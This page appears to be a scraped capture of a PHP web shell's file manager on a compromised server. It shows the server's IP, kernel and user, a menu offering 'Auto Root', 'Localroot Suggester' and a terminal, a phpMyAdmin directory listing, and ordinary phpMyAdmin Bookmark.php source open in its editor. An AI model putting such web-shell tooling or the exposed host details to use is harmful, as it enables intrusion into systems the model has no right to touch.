Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.134.253.166
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
public /
myadmin /
libraries /
classes /
Delete
Unzip
Name
Size
Permission
Date
Action
Charsets
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Config
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Controllers
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Database
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Dbi
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Di
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Display
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Engines
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Gis
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Navigation
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Plugins
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Properties
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Rte
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Server
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Setup
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Twig
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Utils
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Advisor.php
19.56
KB
-rw-r--r--
2021-02-05 18:26
Bookmark.php
10.74
KB
-rw-r--r--
2021-02-05 18:26
BrowseForeigners.php
11.15
KB
-rw-r--r--
2021-02-05 18:26
CentralColumns.php
44.19
KB
-rw-r--r--
2021-02-05 18:26
Charsets.php
6.14
KB
-rw-r--r--
2021-02-05 18:26
CheckUserPrivileges.php
12.59
KB
-rw-r--r--
2021-02-05 18:26
Config.php
57.38
KB
-rw-r--r--
2021-02-05 18:26
Console.php
3.69
KB
-rw-r--r--
2021-02-05 18:26
Core.php
38.31
KB
-rw-r--r--
2021-02-05 18:26
CreateAddField.php
17.91
KB
-rw-r--r--
2021-02-05 18:26
DatabaseInterface.php
104.47
KB
-rw-r--r--
2021-02-05 18:26
Encoding.php
8.68
KB
-rw-r--r--
2021-02-05 18:26
Error.php
13.34
KB
-rw-r--r--
2021-02-05 18:26
ErrorHandler.php
17.17
KB
-rw-r--r--
2021-02-05 18:26
ErrorReport.php
8.92
KB
-rw-r--r--
2021-02-05 18:26
Export.php
42.76
KB
-rw-r--r--
2021-02-05 18:26
File.php
21.29
KB
-rw-r--r--
2021-02-05 18:26
FileListing.php
2.83
KB
-rw-r--r--
2021-02-05 18:26
Font.php
5.54
KB
-rw-r--r--
2021-02-05 18:26
Footer.php
10.6
KB
-rw-r--r--
2021-02-05 18:26
Header.php
21.87
KB
-rw-r--r--
2021-02-05 18:26
Import.php
56.56
KB
-rw-r--r--
2021-02-05 18:26
Index.php
24.5
KB
-rw-r--r--
2021-02-05 18:26
IndexColumn.php
4.44
KB
-rw-r--r--
2021-02-05 18:26
InsertEdit.php
129.31
KB
-rw-r--r--
2021-02-05 18:26
InternalRelations.php
17.42
KB
-rw-r--r--
2021-02-05 18:26
IpAllowDeny.php
9.57
KB
-rw-r--r--
2021-02-05 18:26
Language.php
4.31
KB
-rw-r--r--
2021-02-05 18:26
LanguageManager.php
23.71
KB
-rw-r--r--
2021-02-05 18:26
Linter.php
5.21
KB
-rw-r--r--
2021-02-05 18:26
ListAbstract.php
2.51
KB
-rw-r--r--
2021-02-05 18:26
ListDatabase.php
4.34
KB
-rw-r--r--
2021-02-05 18:26
Logging.php
2.6
KB
-rw-r--r--
2021-02-05 18:26
Menu.php
22.36
KB
-rw-r--r--
2021-02-05 18:26
Message.php
19.32
KB
-rw-r--r--
2021-02-05 18:26
Mime.php
916
B
-rw-r--r--
2021-02-05 18:26
MultSubmits.php
23.64
KB
-rw-r--r--
2021-02-05 18:26
Normalization.php
40.41
KB
-rw-r--r--
2021-02-05 18:26
OpenDocument.php
8.52
KB
-rw-r--r--
2021-02-05 18:26
Operations.php
81.25
KB
-rw-r--r--
2021-02-05 18:26
OutputBuffering.php
3.71
KB
-rw-r--r--
2021-02-05 18:26
ParseAnalyze.php
2.55
KB
-rw-r--r--
2021-02-05 18:26
Partition.php
7.27
KB
-rw-r--r--
2021-02-05 18:26
Pdf.php
4.37
KB
-rw-r--r--
2021-02-05 18:26
Plugins.php
22.95
KB
-rw-r--r--
2021-02-05 18:27
RecentFavoriteTable.php
12.04
KB
-rw-r--r--
2021-02-05 18:27
Relation.php
79.64
KB
-rw-r--r--
2021-02-05 18:27
RelationCleanup.php
15
KB
-rw-r--r--
2021-02-05 18:27
Replication.php
5.75
KB
-rw-r--r--
2021-02-05 18:27
ReplicationGui.php
21.23
KB
-rw-r--r--
2021-02-05 18:27
Response.php
16.14
KB
-rw-r--r--
2021-02-05 18:27
Sanitize.php
14.51
KB
-rw-r--r--
2021-02-05 18:27
SavedSearches.php
11.94
KB
-rw-r--r--
2021-02-05 18:27
Scripts.php
3.65
KB
-rw-r--r--
2021-02-05 18:27
Session.php
7.62
KB
-rw-r--r--
2021-02-05 18:27
Sql.php
82.09
KB
-rw-r--r--
2021-02-05 18:27
SqlQueryForm.php
17.63
KB
-rw-r--r--
2021-02-05 18:27
StorageEngine.php
13.75
KB
-rw-r--r--
2021-02-05 18:27
SubPartition.php
3.55
KB
-rw-r--r--
2021-02-05 18:27
SysInfo.php
1.61
KB
-rw-r--r--
2021-02-05 18:27
SysInfoBase.php
822
B
-rw-r--r--
2021-02-05 18:27
SysInfoLinux.php
2.16
KB
-rw-r--r--
2021-02-05 18:27
SysInfoSunOS.php
1.89
KB
-rw-r--r--
2021-02-05 18:27
SysInfoWINNT.php
3.27
KB
-rw-r--r--
2021-02-05 18:27
SystemDatabase.php
3.97
KB
-rw-r--r--
2021-02-05 18:27
Table.php
94.87
KB
-rw-r--r--
2021-02-05 18:27
TablePartitionDefinition.php
6.64
KB
-rw-r--r--
2021-02-05 18:27
Template.php
4.02
KB
-rw-r--r--
2021-02-05 18:27
Theme.php
8.62
KB
-rw-r--r--
2021-02-05 18:27
ThemeManager.php
10.42
KB
-rw-r--r--
2021-02-05 18:27
Tracker.php
30.13
KB
-rw-r--r--
2021-02-05 18:27
Tracking.php
40.26
KB
-rw-r--r--
2021-02-05 18:27
Transformations.php
16.27
KB
-rw-r--r--
2021-02-05 18:27
TwoFactor.php
7.14
KB
-rw-r--r--
2021-02-05 18:27
Types.php
24.93
KB
-rw-r--r--
2021-02-05 18:27
Url.php
8.32
KB
-rw-r--r--
2021-02-05 18:27
UserPassword.php
9
KB
-rw-r--r--
2021-02-05 18:27
UserPreferences.php
8.62
KB
-rw-r--r--
2021-02-05 18:27
UserPreferencesHeader.php
4.13
KB
-rw-r--r--
2021-02-05 18:27
Util.php
168.02
KB
-rw-r--r--
2021-02-05 18:27
VersionInformation.php
6.92
KB
-rw-r--r--
2021-02-05 18:27
ZipExtension.php
10.25
KB
-rw-r--r--
2021-02-05 18:27
Save
Rename
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Handles bookmarking SQL queries * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Relation; use PhpMyAdmin\Util; /** * Handles bookmarking SQL queries * * @package PhpMyAdmin */ class Bookmark { /** * ID of the bookmark * * @var int */ private $_id; /** * Database the bookmark belongs to * * @var string */ private $_database; /** * The user to whom the bookmark belongs, empty for public bookmarks * * @var string */ private $_user; /** * Label of the bookmark * * @var string */ private $_label; /** * SQL query that is bookmarked * * @var string */ private $_query; /** * @var DatabaseInterface */ private $dbi; /** * Current user * * @var string */ private $user; /** * Bookmark constructor. * * @param DatabaseInterface $dbi DatabaseInterface object * @param string $user Current user */ public function __construct(DatabaseInterface $dbi, string $user) { $this->dbi = $dbi; $this->user = $user; } /** * Returns the ID of the bookmark * * @return int */ public function getId(): int { return (int) $this->_id; } /** * Returns the database of the bookmark * * @return string */ public function getDatabase(): string { return $this->_database; } /** * Returns the user whom the bookmark belongs to * * @return string */ public function getUser(): string { return $this->_user; } /** * Returns the label of the bookmark * * @return string */ public function getLabel(): string { return $this->_label; } /** * Returns the query * * @return string */ public function getQuery(): string { return $this->_query; } /** * Adds a bookmark * * @return boolean whether the INSERT succeeds or not * * @access public */ public function save(): bool { $cfgBookmark = self::getParams($this->user); if (empty($cfgBookmark)) { return false; } $query = "INSERT INTO " . Util::backquote($cfgBookmark['db']) . "." . Util::backquote($cfgBookmark['table']) . " (id, dbase, user, query, label) VALUES (NULL, " . "'" . $this->dbi->escapeString($this->_database) . "', " . "'" . $this->dbi->escapeString($this->_user) . "', " . "'" . $this->dbi->escapeString($this->_query) . "', " . "'" . $this->dbi->escapeString($this->_label) . "')"; return $this->dbi->query($query, DatabaseInterface::CONNECT_CONTROL); } /** * Deletes a bookmark * * @return bool true if successful * * @access public */ public function delete(): bool { $cfgBookmark = self::getParams($this->user); if (empty($cfgBookmark)) { return false; } $query = "DELETE FROM " . Util::backquote($cfgBookmark['db']) . "." . Util::backquote($cfgBookmark['table']) . " WHERE id = " . $this->_id; return $this->dbi->tryQuery($query, DatabaseInterface::CONNECT_CONTROL); } /** * Returns the number of variables in a bookmark * * @return int number of variables */ public function getVariableCount(): int { $matches = []; preg_match_all("/\[VARIABLE[0-9]*\]/", $this->_query, $matches, PREG_SET_ORDER); return count($matches); } /** * Replace the placeholders in the bookmark query with variables * * @param array $variables array of variables * * @return string query with variables applied */ public function applyVariables(array $variables): string { // remove comments that encloses a variable placeholder $query = preg_replace( '|/\*(.*\[VARIABLE[0-9]*\].*)\*/|imsU', '${1}', $this->_query ); // replace variable placeholders with values $number_of_variables = $this->getVariableCount(); for ($i = 1; $i <= $number_of_variables; $i++) { $var = ''; if (! empty($variables[$i])) { $var = $this->dbi->escapeString($variables[$i]); } $query = str_replace('[VARIABLE' . $i . ']', $var, $query); // backward compatibility if ($i == 1) { $query = str_replace('[VARIABLE]', $var, $query); } } return $query; } /** * Defines the bookmark parameters for the current user * * @param string $user Current user * * @return array|bool the bookmark parameters for the current user * @access public */ public static function getParams(string $user) { static $cfgBookmark = null; if (null !== $cfgBookmark) { return $cfgBookmark; } $relation = new Relation($GLOBALS['dbi']); $cfgRelation = $relation->getRelationsParam(); if ($cfgRelation['bookmarkwork']) { $cfgBookmark = [ 'user' => $user, 'db' => $cfgRelation['db'], 'table' => $cfgRelation['bookmark'], ]; } else { $cfgBookmark = false; } return $cfgBookmark; } /** * Creates a Bookmark object from the parameters * * @param DatabaseInterface $dbi DatabaseInterface object * @param string $user Current user * @param array $bkm_fields the properties of the bookmark to add; here, * $bkm_fields['bkm_sql_query'] is urlencoded * @param boolean $all_users whether to make the bookmark * available for all users * * @return Bookmark|false */ public static function createBookmark( DatabaseInterface $dbi, string $user, array $bkm_fields, bool $all_users = false ) { if (! (isset($bkm_fields['bkm_sql_query']) && strlen($bkm_fields['bkm_sql_query']) > 0 && isset($bkm_fields['bkm_label']) && strlen($bkm_fields['bkm_label']) > 0) ) { return false; } $bookmark = new Bookmark($dbi, $user); $bookmark->_database = $bkm_fields['bkm_database']; $bookmark->_label = $bkm_fields['bkm_label']; $bookmark->_query = $bkm_fields['bkm_sql_query']; $bookmark->_user = $all_users ? '' : $bkm_fields['bkm_user']; return $bookmark; } /** * Gets the list of bookmarks defined for the current database * * @param DatabaseInterface $dbi DatabaseInterface object * @param string $user Current user * @param string|bool $db the current database name or false * * @return Bookmark[] the bookmarks list * * @access public */ public static function getList( DatabaseInterface $dbi, string $user, $db = false ): array { $cfgBookmark = self::getParams($user); if (empty($cfgBookmark)) { return []; } $query = "SELECT * FROM " . Util::backquote($cfgBookmark['db']) . "." . Util::backquote($cfgBookmark['table']) . " WHERE ( `user` = ''" . " OR `user` = '" . $dbi->escapeString($cfgBookmark['user']) . "' )"; if ($db !== false) { $query .= " AND dbase = '" . $dbi->escapeString($db) . "'"; } $query .= " ORDER BY label ASC"; $result = $dbi->fetchResult( $query, null, null, DatabaseInterface::CONNECT_CONTROL, DatabaseInterface::QUERY_STORE ); if (! empty($result)) { $bookmarks = []; foreach ($result as $row) { $bookmark = new Bookmark($dbi, $user); $bookmark->_id = $row['id']; $bookmark->_database = $row['dbase']; $bookmark->_user = $row['user']; $bookmark->_label = $row['label']; $bookmark->_query = $row['query']; $bookmarks[] = $bookmark; } return $bookmarks; } return []; } /** * Retrieve a specific bookmark * * @param DatabaseInterface $dbi DatabaseInterface object * @param string $user Current user * @param string $db the current database name * @param mixed $id an identifier of the bookmark to get * @param string $id_field which field to look up the identifier * @param boolean $action_bookmark_all true: get all bookmarks regardless * of the owning user * @param boolean $exact_user_match whether to ignore bookmarks with no user * * @return Bookmark the bookmark * * @access public * */ public static function get( DatabaseInterface $dbi, string $user, string $db, $id, string $id_field = 'id', bool $action_bookmark_all = false, bool $exact_user_match = false ): ?self { $cfgBookmark = self::getParams($user); if (empty($cfgBookmark)) { return null; } $query = "SELECT * FROM " . Util::backquote($cfgBookmark['db']) . "." . Util::backquote($cfgBookmark['table']) . " WHERE dbase = '" . $dbi->escapeString($db) . "'"; if (! $action_bookmark_all) { $query .= " AND (user = '" . $dbi->escapeString($cfgBookmark['user']) . "'"; if (! $exact_user_match) { $query .= " OR user = ''"; } $query .= ")"; } $query .= " AND " . Util::backquote($id_field) . " = '" . $dbi->escapeString((string) $id) . "' LIMIT 1"; $result = $dbi->fetchSingleRow($query, 'ASSOC', DatabaseInterface::CONNECT_CONTROL); if (! empty($result)) { $bookmark = new Bookmark($dbi, $user); $bookmark->_id = $result['id']; $bookmark->_database = $result['dbase']; $bookmark->_user = $result['user']; $bookmark->_label = $result['label']; $bookmark->_query = $result['query']; return $bookmark; } return null; } }